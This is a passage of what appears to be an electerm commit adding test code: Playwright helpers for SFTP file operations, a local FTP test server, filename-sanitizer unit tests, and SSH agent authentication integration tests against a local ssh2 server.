await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("New Folder")')
await delay(400)
await client.setValue('.session-current .sftp-item input', folderName)
await client.click('.session-current .sftp-panel-title')
await delay(3500) // Ensure folder creation completes
}
/**
* Deletes an item (file or folder) from the specified type of file list
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} itemName - The name of the item to delete
*/
async function deleteItem (client, type, itemName) {
await client.click(`.session-current .file-list.${type} .sftp-item[title="${itemName}"]`)
await delay(400)
await client.keyboard.press('Delete')
await delay(400)
await client.keyboard.press('Enter')
await delay(2000)
}
/**
* Copies an item using the context menu
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} itemName - The name of the item to copy
*/
async function copyItem (client, type, itemName) {
await client.rightClick(`.session-current .file-list.${type} .sftp-item[title="${itemName}"]`, 10, 10)
await delay(1000) // Increased delay for context menu
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Copy")')
await delay(1500) // Ensure copy operation registers
}
/**
* Copies an item using keyboard shortcuts
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} itemName - The name of the item to copy
*/
async function copyItemWithKeyboard (client, type, itemName) {
await client.click(`.session-current .file-list.${type} .sftp-item[title="${itemName}"]`)
await delay(400)
// Use Meta+C on Mac, Ctrl+C otherwise
const isMac = process.platform === 'darwin'
const modKey = isMac ? 'Meta' : 'Control'
await client.keyboard.press(`${modKey}+c`)
await delay(1500) // Ensure copy operation registers
}
/**
* Cuts an item using the context menu
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} itemName - The name of the item to cut
*/
async function cutItem (client, type, itemName) {
await client.rightClick(`.session-current .file-list.${type} .sftp-item[title="${itemName}"]`, 10, 10)
await delay(800)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Cut")')
await delay(1000)
}
/**
* Pastes an item using the context menu
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
*/
async function pasteItem (client, type) {
const parentFolderSelector = `.session-current .file-list.${type} .parent-file-item`
const realFileSelector = `.session-current .file-list.${type} .real-file-item`
// Click elsewhere to ensure the previous context menu is closed
await client.click('.session-current .sftp-panel-title')
await delay(1000) // Increased delay
// Try to right click on the parent file item first (for empty folders)
if (await client.locator(parentFolderSelector).count() > 0) {
await client.rightClick(parentFolderSelector, 10, 10)
} else {
// Fall back to real file item if parent item doesn't exist
await client.rightClick(realFileSelector, 10, 10)
}
await delay(1000)
// Wait for paste menu to be visible and enabled
const pasteMenuItem = await client.locator('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Paste"):not(.ant-dropdown-menu-item-disabled)')
await pasteMenuItem.waitFor({ state: 'visible', timeout: 5000 })
await pasteMenuItem.click()
await delay(4000) // Increased delay for paste operation
}
/**
* Pastes an item using keyboard shortcuts
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
*/
async function pasteItemWithKeyboard (client, type) {
// Click on empty space in the file list to ensure focus
await client.click(`.session-current .file-list.${type}`)
await delay(1000)
// Use Meta+V on Mac, Ctrl+V otherwise
const isMac = process.platform === 'darwin'
const modKey = isMac ? 'Meta' : 'Control'
await client.keyboard.press(`${modKey}+v`)
await delay(4000) // Increased delay for paste operation
}
/**
* Renames an item using the context menu
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} oldName - The current name of the item
* @param {string} newName - The new name for the item
*/
async function renameItem (client, type, oldName, newName) {
await client.rightClick(`.session-current .file-list.${type} .sftp-item[title="${oldName}"]`, 10, 10)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Rename")')
await delay(400)
await client.setValue('.session-current .sftp-item input', newName)
await client.click('.session-current .sftp-panel-title')
await delay(2500)
}
/**
* Enters a folder in the file list
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} folderName - The name of the folder to enter
*/
async function enterFolder (client, type, folderName) {
await client.rightClick(`.session-current .file-list.${type} .sftp-item[title="${folderName}"]`, 10, 10)
await delay(800)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Enter")')
await delay(3500) // Increased delay for folder navigation
}
/**
* Navigates to the parent folder
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
*/
async function navigateToParentFolder (client, type) {
await client.doubleClick(`.session-current .file-list.${type} .parent-file-item`)
await delay(3000)
}
/**
* Selects all items in a file list using context menu
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
*/
async function selectAllContextMenu (client, type) {
await client.rightClick(`.session-current .file-list.${type} .real-file-item`, 10, 10)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Select All")')
await delay(1000)
}
/**
* Accesses folder from the terminal through context menu
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} folderName - The name of the folder to access
*/
async function accessFolderFromTerminal (client, type, folderName) {
await client.rightClick(`.file-list.${type} .sftp-item[title="${folderName}"]`, 10, 10)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Access this folder from the terminal")')
await delay(1000)
}
async function openNewConnectionForm (client) {
await client.click('.btns .anticon-plus-circle')
await delay(500)
}
async function confirmSshHostKeyVerificationIfNeeded (client, timeout = 4000) {
const trustButton = client.locator('.custom-modal-wrap button:has-text("Trust and Save")').first()
try {
await trustButton.waitFor({ state: 'visible', timeout })
} catch {
return false
}
await trustButton.click()
await delay(500)
return true
}
/**
* Sets up SSH connection for testing (fills form and submits, no SFTP tab)
*
* @param {Object} client - The Playwright client
*/
async function setupSshConnection (client, options = {}) {
const {
host = TEST_HOST,
username = TEST_USER,
password = TEST_PASS,
port = TEST_PORT,
openForm = true,
waitAfterConnect = 2000,
hostKeyModalTimeout = 4000
} = options
if (openForm) {
await openNewConnectionForm(client)
}
await client.setValue('#ssh-form_host', host)
await client.setValue('#ssh-form_username', username)
await client.setValue('#ssh-form_password', password)
await client.setValue('#ssh-form_port', port)
await client.click('.setting-wrap .ant-btn-primary')
await confirmSshHostKeyVerificationIfNeeded(client, hostKeyModalTimeout)
await delay(waitAfterConnect)
}
/**
* Sets up SFTP connection for testing (SSH form + SFTP tab)
*
* @param {Object} client - The Playwright client
*/
async function setupSftpConnection (client) {
await setupSshConnection(client)
// Click sftp tab
await client.click('.session-current .term-sftp-tabs .type-tab', 1)
await delay(2500)
}
/**
* Verify that a file exists in the file list
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} itemName - The name of the item to verify
* @returns {Promise<boolean>} - Whether the file exists
*/
async function verifyFileExists (client, type, itemName) {
const fileItems = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${itemName}"]`)
const count = await fileItems.count()
return count > 0
}
/**
* Verify that a file does not exist in the file list
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} itemName - The name of the item to verify
* @returns {Promise<boolean>} - Whether the file does not exist
*/
async function verifyFileNotExists (client, type, itemName) {
return !(await verifyFileExists(client, type, itemName))
}
// Selection operations
async function selectItemsWithShift (client, type, startIndex, endIndex) {
const items = await client.locator(`.session-current .file-list.${type} .real-file-item`)
// Click first item
await items.nth(startIndex).click()
await delay(500)
// Shift+click second item
await items.nth(endIndex).click({
modifiers: ['Shift']
})
await delay(500)
}
async function selectItemsWithCtrlOrCmd (client, type, indices) {
const items = await client.locator(`.session-current .file-list.${type} .real-file-item`)
// Click first item
await items.nth(indices[0]).click()
await delay(500)
// Add remaining items with Cmd/Ctrl
for (let i = 1; i < indices.length; i++) {
await items.nth(indices[i]).click({
modifiers: process.platform === 'darwin' ? ['Meta'] : ['Control']
})
await delay(500)
}
}
/**
* Verifies the current path in the file list input
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} expectedPath - The expected path or part of it
* @returns {Promise<boolean>} - Whether the path matches
*/
async function verifyCurrentPath (client, type, expectedPath) {
const currentPath = await client.getValue(`.session-current .sftp-${type}-section .sftp-title input`)
return currentPath.endsWith(expectedPath)
}
/**
* Clicks on the SFTP tab
*
* @param {Object} client - The Playwright client
*/
async function clickSftpTab (client) {
await client.click('.session-current .term-sftp-tabs .type-tab', 1)
await delay(3500)
}
/**
* Counts items in the file list
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} selector - The CSS selector for the items (e.g., '.sftp-item' or '.parent-file-item')
*/
async function countFileListItems (client, type, selector) {
const items = await client.locator(`.session-current .file-list.${type} ${selector}`)
return await items.count()
}
/**
* Verifies the number of selected items
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {number} expectedCount - The expected number of selected items
*/
async function verifySelectionCount (client, type, expectedCount) {
const selectedItems = await client.locator(`.session-current .file-list.${type} .sftp-item.selected`)
const count = await selectedItems.count()
expect(count).toBe(expectedCount, `Expected ${expectedCount} items to be selected, found ${count}`)
}
/**
* Verifies that the fileTransfers array in window.store is empty
* Polls with retries to handle timing variations in transfer completion
*
* @param {Object} client - The Playwright client
* @param {number} [timeout=30000] - Max wait time in ms
* @param {number} [interval=1000] - Poll interval in ms
*/
async function verifyFileTransfersComplete (client, timeout = 30000, interval = 1000) {
const start = Date.now()
let isEmpty = false
while (Date.now() - start < timeout) {
isEmpty = await client.evaluate(() => {
return window.store.fileTransfers.length === 0
})
if (isEmpty) {
break
}
await delay(interval)
}
expect(isEmpty).toBe(true, `Expected fileTransfers array to be empty after operations complete (waited ${timeout}ms)`)
}
async function closeApp (electronApp, fileName) {
try {
await Promise.race([
electronApp.close(),
new Promise((resolve, reject) => setTimeout(() => reject(new Error('close timeout')), 5000))
])
} catch (e) {
if (e.message === 'close timeout') {
log(`${fileName}: close timed out, killing process`)
electronApp.process().kill()
} else {
console.log(e)
}
}
}
module.exports = {
createFile,
createFolder,
deleteItem,
copyItem,
copyItemWithKeyboard,
cutItem,
pasteItem,
pasteItemWithKeyboard,
renameItem,
enterFolder,
navigateToParentFolder,
selectAllContextMenu,
accessFolderFromTerminal,
setupSshConnection,
setupSftpConnection,
verifyFileExists,
verifyFileNotExists,
selectItemsWithShift,
selectItemsWithCtrlOrCmd,
verifyCurrentPath,
clickSftpTab,
countFileListItems,
verifySelectionCount,
verifyFileTransfersComplete,
closeApp
}
+30
View File
@@ -0,0 +1,30 @@
/**
* export test username/password/host/port
*/
require('dotenv').config({
override: true
})
const os = require('os').platform()
const {
env
} = process
const TEST_HOST = env[`TEST_HOST_${os}`] || env.TEST_HOST
const TEST_PASS = env[`TEST_PASS_${os}`] || env.TEST_PASS
const TEST_USER = env[`TEST_USER_${os}`] || env.TEST_USER
const TEST_PORT = env[`TEST_PORT_${os}`] || env.TEST_PORT || '22'
if (!TEST_HOST || !TEST_PASS || !TEST_USER) {
throw new Error(`
basic sftp test need TEST_HOST TEST_PASS TEST_USER env set,
TEST_PORT is optional (default 22)
you can run "cp .sample.env .env" to create env file, then edit .env, fill all required field
`)
}
module.exports = {
TEST_HOST,
TEST_PASS,
TEST_USER,
TEST_PORT: '' + TEST_PORT
}
+33
View File
@@ -0,0 +1,33 @@
// expect.js
const { expect: playwrightExpect } = require('@playwright/test')
function extend (value) {
const originalExpect = playwrightExpect(value)
// Create a proxy to handle all method calls
return new Proxy(originalExpect, {
get (target, prop) {
// Handle the five custom functions
if (prop === 'equal' || prop === 'equals') {
return (expected) => target.toEqual(expected)
}
if (prop === 'lessThan') {
return (expected) => target.toBeLessThan(expected)
}
if (prop === 'greaterThan') {
return (expected) => target.toBeGreaterThan(expected)
}
if (prop === 'includes') {
return (expected) => target.toContain(expected)
}
// For all other properties, return the original Playwright expect method
return target[prop]
}
})
}
// Export a function that looks like Chai's expect
module.exports = {
expect: (actual) => extend(actual)
}
+67
View File
@@ -0,0 +1,67 @@
const { FtpSrv } = require('@electerm/ftp-srv')
const path = require('path')
const fs = require('fs')
// Create FTP root directory if it doesn't exist
const ftpRoot = path.join(__dirname, 'ftp-root')
if (!fs.existsSync(ftpRoot)) {
fs.mkdirSync(ftpRoot)
}
const ftpServer = new FtpSrv({
url: 'ftp://0.0.0.0:21',
anonymous: false,
root: ftpRoot
})
// Handle user login
ftpServer.on('login', ({ username, password }, resolve, reject) => {
// Simple authentication
console.log('login', username, password)
if (username === 'test' && password === 'test123') {
return resolve({ root: ftpRoot })
}
return reject(new Error('Invalid username or password'))
})
// Log events
ftpServer.on('client-error', ({ connection, context, error }) => {
console.log('Client error', error)
})
ftpServer.on('STOR', (error, fileName) => {
if (error) {
console.log('Error uploading file:', error)
} else {
console.log('File uploaded:', fileName)
}
})
ftpServer.on('RETR', (error, fileName) => {
if (error) {
console.log('Error downloading file:', error)
} else {
console.log('File downloaded:', fileName)
}
})
// Start server
ftpServer.listen()
.then(() => {
console.log('FTP server is running at port 21')
console.log('Username: test')
console.log('Password: test123')
console.log('FTP root directory:', ftpRoot)
})
.catch(err => {
console.log('Error starting FTP server:', err)
})
// Handle shutdown
process.on('SIGTERM', () => {
ftpServer.close()
.then(() => {
console.log('FTP server closed')
process.exit(0)
})
})
+10
View File
@@ -0,0 +1,10 @@
/**
* some test may need only run in some os
*/
const os = require('os')
const platform = os.platform()
module.exports = (osName) => {
return platform === osName
}
+14
View File
@@ -0,0 +1,14 @@
/**
* language fix
*/
const _ = require('lodash')
function capitalizeFirstLetter (string) {
return string.charAt(0).toUpperCase() + string.slice(1)
}
module.exports = (id) => {
const lang = require('@electerm/electerm-locales').en_us.lang
return capitalizeFirstLetter(_.get(lang, `${id}`) || id)
}
+4
View File
@@ -0,0 +1,4 @@
module.exports = (...arg) => {
const timestamp = new Date().toISOString()
console.log(`[${timestamp}] >`, ...arg)
}
+10
View File
@@ -0,0 +1,10 @@
/**
* output uid with os name prefix
*/
const { nanoid } = require('nanoid')
const os = require('os').platform()
module.exports = () => {
return os + '_' + nanoid()
}
+5
View File
@@ -0,0 +1,5 @@
/**
* wait async
* @param {*} time
*/
module.exports = time => new Promise(resolve => setTimeout(resolve, time))
+114
View File
@@ -0,0 +1,114 @@
const { describe, it, before } = require('node:test')
const assert = require('node:assert/strict')
// Server-side (CJS) — used by zmodem, xmodem, trzsz
const sanitizeApp = require('../../src/app/common/sanitize-filename')
function runTests (getFn) {
it('preserves leading dot (hidden file names)', () => {
const s = getFn()
assert.strictEqual(s('.env'), '.env')
assert.strictEqual(s('.gitignore'), '.gitignore')
assert.strictEqual(s('.htaccess'), '.htaccess')
assert.strictEqual(s('.bashrc'), '.bashrc')
assert.strictEqual(s('.config'), '.config')
})
it('preserves double-leading dots in filenames', () => {
assert.strictEqual(getFn()('..hidden'), '..hidden')
})
it('rejects ".." and "..." as all-trailing-dots filenames', () => {
// Both are all dots -> trailing strip produces empty -> fallback 'unnamed'
const s = getFn()
assert.strictEqual(s('..'), 'unnamed')
assert.strictEqual(s('...'), 'unnamed')
})
it('preserves leading dot with extension', () => {
const s = getFn()
assert.strictEqual(s('.env.production'), '.env.production')
assert.strictEqual(s('.env.backup'), '.env.backup')
assert.strictEqual(s('.npmrc'), '.npmrc')
})
it('strips trailing dots and spaces', () => {
const s = getFn()
assert.strictEqual(s('file...'), 'file')
assert.strictEqual(s('file.'), 'file')
assert.strictEqual(s('file '), 'file')
assert.strictEqual(s('file. '), 'file')
})
it('strips leading spaces (not dots)', () => {
const s = getFn()
assert.strictEqual(s(' file.txt'), 'file.txt')
assert.strictEqual(s(' .env'), '.env')
assert.strictEqual(s(' normal'), 'normal')
})
it('handles combined leading space + trailing dots', () => {
const s = getFn()
assert.strictEqual(s(' file... '), 'file')
assert.strictEqual(s(' .env. '), '.env')
})
it('replaces illegal characters with underscore', () => {
const s = getFn()
assert.strictEqual(s('file<name>.txt'), 'file_name_.txt')
assert.strictEqual(s('a:b.txt'), 'a_b.txt')
assert.strictEqual(s('file?.txt'), 'file_.txt')
assert.strictEqual(s('a|b.txt'), 'a_b.txt')
})
it('handles reserved Windows device names', () => {
const s = getFn()
assert.strictEqual(s('CON'), 'CON_')
assert.strictEqual(s('PRN'), 'PRN_')
assert.strictEqual(s('AUX'), 'AUX_')
assert.strictEqual(s('NUL'), 'NUL_')
assert.strictEqual(s('COM1'), 'COM1_')
assert.strictEqual(s('LPT9'), 'LPT9_')
})
it('does not touch normal filenames', () => {
const s = getFn()
assert.strictEqual(s('hello.txt'), 'hello.txt')
assert.strictEqual(s('document.pdf'), 'document.pdf')
assert.strictEqual(s('README.md'), 'README.md')
assert.strictEqual(s('index.html'), 'index.html')
})
it('returns "unnamed" for empty/invalid input', () => {
const s = getFn()
assert.strictEqual(s(''), 'unnamed')
assert.strictEqual(s(null), 'unnamed')
assert.strictEqual(s(undefined), 'unnamed')
assert.strictEqual(s(123), 'unnamed')
})
it('strips control characters', () => {
const s = getFn()
assert.strictEqual(s('file\x00.txt'), 'file_.txt')
assert.strictEqual(s('test\x01file.txt'), 'test_file.txt')
// Tab (0x09) is a control char, replaced before space strip
assert.strictEqual(s('\tfile.txt'), '_file.txt')
})
}
describe('sanitizeFilename', () => {
// Client-side (ESM) — used by SFTP drop, session.jsx — loaded async
let sanitizeClient
before(async () => {
const mod = await import('../../src/client/common/sanitize-filename.js')
sanitizeClient = mod.default
})
describe('server (CJS) — zmodem/xmodem/trzsz', () => {
runTests(() => sanitizeApp)
})
describe('client (ESM) — SFTP drop/session.jsx', () => {
runTests(() => sanitizeClient)
})
})
+504
View File
@@ -0,0 +1,504 @@
/**
* SSH agent integration tests.
*
* These tests confirm that SSH agent authentication continues to work
* correctly across the following scenarios that are NOT covered by the
* existing session-ssh.spec.js suite:
*
* 1. Agent when sshKeysPath contains NON-matching key files.
* The createAuthHandler isMethodAllowed fix (commit f05ef847) makes the
* agent method eligible whenever the server advertises "publickey". A
* regression to that fix would cause all agent logins to fail silently
* whenever the user has any key files on disk.
*
* 2. Agent discovered via process.env.SSH_AUTH_SOCK (no explicit sshAgent
* option). The existing tests always pass sshAgent explicitly; this
* covers the implicit path used by most desktop setups.
*
* 3. exports.test() (connection probe) with SSH agent.
* Before commit a357c4a3 the ws object was not forwarded to the probe,
* so the host-key verification prompt (added in 409f3291) would wait
* forever when connecting to a new host.
*
* All tests mock the electron environment and run exclusively with Node.js
* built-ins + the packages already bundled with electerm.
*/
process.env.NODE_ENV = 'development'
const { describe, test, beforeEach, afterEach } = require('node:test')
const assert = require('node:assert/strict')
const fs = require('node:fs')
const os = require('node:os')
const path = require('node:path')
const { once } = require('node:events')
const { spawnSync } = require('node:child_process')
const { Server, utils } = require('@electerm/ssh2')
const { session, test: sshTest } = require('../../src/app/server/session-ssh')
// ─── constants ────────────────────────────────────────────────────────────────
const USERNAME = 'agent-tester'
// A fresh server host key for every test run.
const HOST_KEY = utils.generateKeyPairSync('ed25519', {
comment: 'electerm-agent-test-host'
})
// ─── helpers ──────────────────────────────────────────────────────────────────
function parseKey (key) {
let parsed = utils.parseKey(key)
if (Array.isArray(parsed)) parsed = parsed[0]
if (parsed instanceof Error) throw parsed
return parsed
}
function publicKeyMatchesCtx (ctx, publicKeyPem) {
return Buffer.compare(
parseKey(publicKeyPem).getPublicSSH(),
ctx.key.data
) === 0
}
function runCommand (command, args, options = {}) {
const result = spawnSync(command, args, { encoding: 'utf8', ...options })
if (result.error) throw result.error
if (result.status !== 0) {
throw new Error(
`${command} ${args.join(' ')} exited ${result.status}: ${result.stderr || result.stdout}`
)
}
return result.stdout
}
function generateKey ({ dir, name, type = 'ed25519', passphrase = '', bits }) {
const keyPath = path.join(dir, name)
const args = ['-q', '-t', type]
if (bits) args.push('-b', String(bits))
args.push('-N', passphrase, '-f', keyPath, '-C', `electerm-${name}`)
runCommand('ssh-keygen', args)
return {
keyPath,
privateKey: fs.readFileSync(keyPath, 'utf8'),
publicKey: fs.readFileSync(`${keyPath}.pub`, 'utf8')
}
}
/**
* Start ssh-agent on a unique socket and load the given key into it.
* Returns { env, kill }.
*/
function startAgent (keyPath) {
// Use a socket path that is predictable enough for debugging but unique.
const socketPath = path.join(
os.tmpdir(),
`ea-agent-${process.pid}-${Date.now()}.sock`
)
const output = runCommand('ssh-agent', ['-a', socketPath, '-s'])
const sockMatch = output.match(/SSH_AUTH_SOCK=([^;]+)/)
const pidMatch = output.match(/SSH_AGENT_PID=([^;]+)/)
if (!sockMatch || !pidMatch) {
throw new Error(`Cannot parse ssh-agent output:\n${output}`)
}
const env = {
...process.env,
SSH_AUTH_SOCK: sockMatch[1],
SSH_AGENT_PID: pidMatch[1]
}
if (keyPath) {
runCommand('ssh-add', [keyPath], { env })
}
return {
env,
kill () {
try { runCommand('ssh-agent', ['-k'], { env }) } catch (_) { /* ignore */ }
}
}
}
/**
* Start a minimal SSH server that only accepts publickey auth for USERNAME
* using the provided public-key string.
*
* Returns { port, close }.
*/
async function startServer (allowedPublicKey, { debug = false } = {}) {
const clients = new Set()
const server = new Server({ hostKeys: [HOST_KEY.private] }, (client) => {
clients.add(client)
client.on('close', () => clients.delete(client))
client.on('end', () => clients.delete(client))
client.on('authentication', (ctx) => {
if (debug) {
console.log('[server] auth method:', ctx.method, 'user:', ctx.username)
}
if (ctx.method === 'none') {
return ctx.reject(['publickey'])
}
if (
ctx.method === 'publickey' &&
ctx.username === USERNAME &&
publicKeyMatchesCtx(ctx, allowedPublicKey)
) {
if (debug) console.log('[server] accepted publickey auth')
return ctx.accept()
}
// reject but keep publickey in the advertised list so the client can
// try the ssh agent after failing with a file key
return ctx.reject(['publickey'])
})
client.on('ready', () => {
client.on('session', (accept) => {
const sess = accept()
sess.on('env', (accept) => accept())
sess.on('pty', (accept) => accept())
sess.on('shell', (accept) => {
const stream = accept()
stream.write('electerm-agent-test ready\n')
})
})
})
})
server.listen(0, '127.0.0.1')
await once(server, 'listening')
const { port } = server.address()
if (debug) console.log('[server] listening on port', port)
return {
port,
async close () {
for (const c of clients) c.end()
await new Promise((resolve, reject) => {
server.close((err) => (err ? reject(err) : resolve()))
})
}
}
}
/**
* Minimal ws mock that automatically trusts unknown host keys.
* Any non-confirm interactive prompt rejects with an error so tests fail
* loudly if an unexpected prompt appears.
*/
function makeWs ({ allowNonConfirmPrompts = false, debug = false } = {}) {
let pendingHandler = null
let pendingOptions = null
return {
s (payload) {
if (payload?.action !== 'session-interactive') return
pendingOptions = payload.options
if (debug) {
console.log('[ws] session-interactive', JSON.stringify({
mode: payload.options?.mode,
name: payload.options?.name,
prompts: (payload.options?.prompts || []).map(p => p.prompt)
}))
}
},
once (handler) {
const opts = pendingOptions
queueMicrotask(() => {
if (opts?.mode === 'confirm') {
// Auto-trust the host key
if (debug) console.log('[ws] auto-trusting host key')
handler({ results: ['trust'] })
} else if (allowNonConfirmPrompts) {
handler({ results: pendingHandler ? pendingHandler(opts) : [] })
} else {
// Fail loudly agent login should not need interactive prompts
handler({ results: [] }) // empty results → reject('User cancel')
}
})
pendingHandler = null
},
close () {}
}
}
function setEnv (name, value) {
if (value === undefined) delete process.env[name]
else process.env[name] = value
}
// ─── fixture management ────────────────────────────────────────────────────────
describe('SSH agent auth', () => {
let tmpDir
let savedEnv
beforeEach(() => {
tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'electerm-agent-test-'))
savedEnv = {
HOME: process.env.HOME,
USERPROFILE: process.env.USERPROFILE,
SSH_AUTH_SOCK: process.env.SSH_AUTH_SOCK,
SSH_AGENT_PID: process.env.SSH_AGENT_PID,
sshKeysPath: process.env.sshKeysPath
}
const homeDir = path.join(tmpDir, 'home')
const sshKeysDir = path.join(tmpDir, 'ssh-keys')
fs.mkdirSync(homeDir, { recursive: true })
fs.mkdirSync(sshKeysDir, { recursive: true })
setEnv('HOME', homeDir)
setEnv('USERPROFILE', homeDir)
setEnv('SSH_AUTH_SOCK', undefined)
setEnv('SSH_AGENT_PID', undefined)
setEnv('sshKeysPath', sshKeysDir)
})
afterEach(() => {
setEnv('HOME', savedEnv.HOME)
setEnv('USERPROFILE', savedEnv.USERPROFILE)
setEnv('SSH_AUTH_SOCK', savedEnv.SSH_AUTH_SOCK)
setEnv('SSH_AGENT_PID', savedEnv.SSH_AGENT_PID)
setEnv('sshKeysPath', savedEnv.sshKeysPath)
fs.rmSync(tmpDir, { recursive: true, force: true })
})
// ── test 1 ─────────────────────────────────────────────────────────────────
test(
'agent auth succeeds even when sshKeysPath contains non-matching key files',
async (t) => {
// This is the primary regression test for the isMethodAllowed fix
// (commit f05ef847). Without that fix the auth handler would return
// false as soon as the key-file publickey attempt failed, because
// "agent" is not literally in the server's ["publickey"] allow-list,
// and the connection would be rejected with "All configured
// authentication methods failed" before the agent was ever tried.
let agent
try {
agent = startAgent() // start without a key first we load it below
} catch (err) {
if (err.code === 'ENOENT') {
t.skip('ssh-agent / ssh-keygen not available')
return
}
throw err
}
const sshKeysDir = process.env.sshKeysPath
// Generate the key the server will accept and load it into the agent.
const agentKey = generateKey({ dir: tmpDir, name: 'agent-key' })
runCommand('ssh-add', [agentKey.keyPath], { env: agent.env })
// Generate a DIFFERENT key that lives in sshKeysPath.
// The code will try this one first (publickey auth) and it will fail.
// Agent must then be tried automatically.
const wrongKey = generateKey({ dir: sshKeysDir, name: 'wrong-key' })
// Also place the matching .pub file so getSSHKeys() finds it.
fs.copyFileSync(`${wrongKey.keyPath}.pub`, path.join(sshKeysDir, 'wrong-key.pub'))
setEnv('SSH_AUTH_SOCK', agent.env.SSH_AUTH_SOCK)
setEnv('SSH_AGENT_PID', agent.env.SSH_AGENT_PID)
const server = await startServer(agentKey.publicKey, { debug: true })
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
sshAgent: agent.env.SSH_AUTH_SOCK,
useSshAgent: true,
enableSsh: false,
readyTimeout: 10000,
debug: true // enables ssh2 protocol debug output
}, makeWs({ debug: true }))
// If we reach here the agent key was accepted.
assert.ok(term, 'session should resolve when agent auth succeeds')
} finally {
term?.kill()
await server.close()
agent.kill()
}
}
)
// ── test 2 ─────────────────────────────────────────────────────────────────
test(
'agent auth works via implicit process.env.SSH_AUTH_SOCK (no explicit sshAgent option)',
async (t) => {
// The getAgent() method falls back to process.env.SSH_AUTH_SOCK when
// initOptions.sshAgent is not set. This covers the typical desktop
// user who relies on a system-managed agent socket.
let agent
try {
agent = startAgent()
} catch (err) {
if (err.code === 'ENOENT') {
t.skip('ssh-agent / ssh-keygen not available')
return
}
throw err
}
const agentKey = generateKey({ dir: tmpDir, name: 'implicit-agent-key' })
runCommand('ssh-add', [agentKey.keyPath], { env: agent.env })
// Expose the agent socket via the environment variable only do NOT
// set initOptions.sshAgent.
setEnv('SSH_AUTH_SOCK', agent.env.SSH_AUTH_SOCK)
setEnv('SSH_AGENT_PID', agent.env.SSH_AGENT_PID)
const server = await startServer(agentKey.publicKey, { debug: true })
let term
try {
term = await session({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
// No sshAgent option should discover SSH_AUTH_SOCK automatically
useSshAgent: true,
enableSsh: false,
readyTimeout: 10000,
debug: true
}, makeWs({ debug: true }))
assert.ok(term, 'session should resolve when implicit agent is used')
} finally {
term?.kill()
await server.close()
agent.kill()
}
}
)
// ── test 3 ─────────────────────────────────────────────────────────────────
test(
'exports.test (connection probe) returns true with SSH agent on a new host',
async (t) => {
// Before commit a357c4a3, exports.test() did not forward ws to the
// TerminalSsh instance. The host-key verifier added in 409f3291 calls
// onKeyboardEvent() which sends a session-interactive event to ws and
// then awaits a reply. With ws === undefined the await never resolved,
// causing the probe to hang. This test would time out under that bug.
let agent
try {
agent = startAgent()
} catch (err) {
if (err.code === 'ENOENT') {
t.skip('ssh-agent / ssh-keygen not available')
return
}
throw err
}
const agentKey = generateKey({ dir: tmpDir, name: 'probe-agent-key' })
runCommand('ssh-add', [agentKey.keyPath], { env: agent.env })
setEnv('SSH_AUTH_SOCK', agent.env.SSH_AUTH_SOCK)
setEnv('SSH_AGENT_PID', agent.env.SSH_AGENT_PID)
const server = await startServer(agentKey.publicKey, { debug: true })
try {
const ok = await sshTest({
host: '127.0.0.1',
port: server.port,
username: USERNAME,
sshAgent: agent.env.SSH_AUTH_SOCK,
useSshAgent: true,
readyTimeout: 10000,
debug: true
}, makeWs({ debug: true })) // ws must be forwarded (fixed in a357c4a3)
assert.equal(ok, true, 'sshTest should return true when agent auth succeeds')
} finally {
await server.close()
agent.kill()
}
}
)
// ── test 4 ─────────────────────────────────────────────────────────────────
test(
'agent auth with a new host requires host-key confirmation and then succeeds',
async (t) => {
// Confirm that the host-key verification dialog (409f3291) does not
// interfere with subsequent agent-based authentication. A fresh HOME
// dir is used so known_hosts starts empty.
let agent
try {
agent = startAgent()
} catch (err) {
if (err.code === 'ENOENT') {
t.skip('ssh-agent / ssh-keygen not available')
return
}
throw err
}
const agentKey = generateKey({ dir: tmpDir, name: 'new-host-agent-key' })
runCommand('ssh-add', [agentKey.keyPath], { env: agent.env })
setEnv('SSH_AUTH_SOCK', agent.env.SSH_AUTH_SOCK)
setEnv('SSH_AGENT_PID', agent.env.SSH_AGENT_PID)
const server = await startServer(agentKey.publicKey, { debug: true })
let confirmCount = 0
const ws = {
s (payload) {
if (payload?.action !== 'session-interactive') return
if (payload.options?.mode === 'confirm') {
confirmCount++
console.log('[ws] host-key confirm dialog received (#' + confirmCount + ')')
} else {
// Any non-confirm prompt during agent login is unexpected
